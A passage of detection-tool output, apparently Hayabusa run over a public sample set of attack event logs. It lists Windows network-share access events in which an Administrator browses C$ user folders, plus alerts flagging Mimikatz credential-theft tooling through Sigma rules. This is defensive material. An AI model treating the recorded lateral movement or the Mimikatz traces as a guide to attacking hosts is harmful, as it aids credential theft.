Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.569 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.569 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.569 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.569 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.569 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.569 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.579 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.579 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.579 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.579 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.579 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.579 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Desktop\mimikatz_trunk : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Desktop\mimikatz_trunk\Win32 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.589 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.599 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Desktop\mimikatz_trunk\x64 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.599 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.599 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.599 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.599 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.599 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.599 +09:00,PC01.example.corp,5145,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.599 +09:00,PC01.example.corp,5145,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.609 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.609 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.609 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.609 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.609 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.619 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.619 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.619 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user02\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.619 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.619 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.619 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.619 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.629 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.629 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.629 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.629 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.629 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.629 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.639 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.639 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.639 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.639 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.639 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.639 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.649 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.649 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.649 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.649 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.649 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.659 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.659 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.659 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.659 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.659 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.659 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.659 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.669 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.669 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.669 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.669 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.669 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.679 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.679 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.679 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.679 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.679 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.679 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Videos\desktop.ini : IP Address: 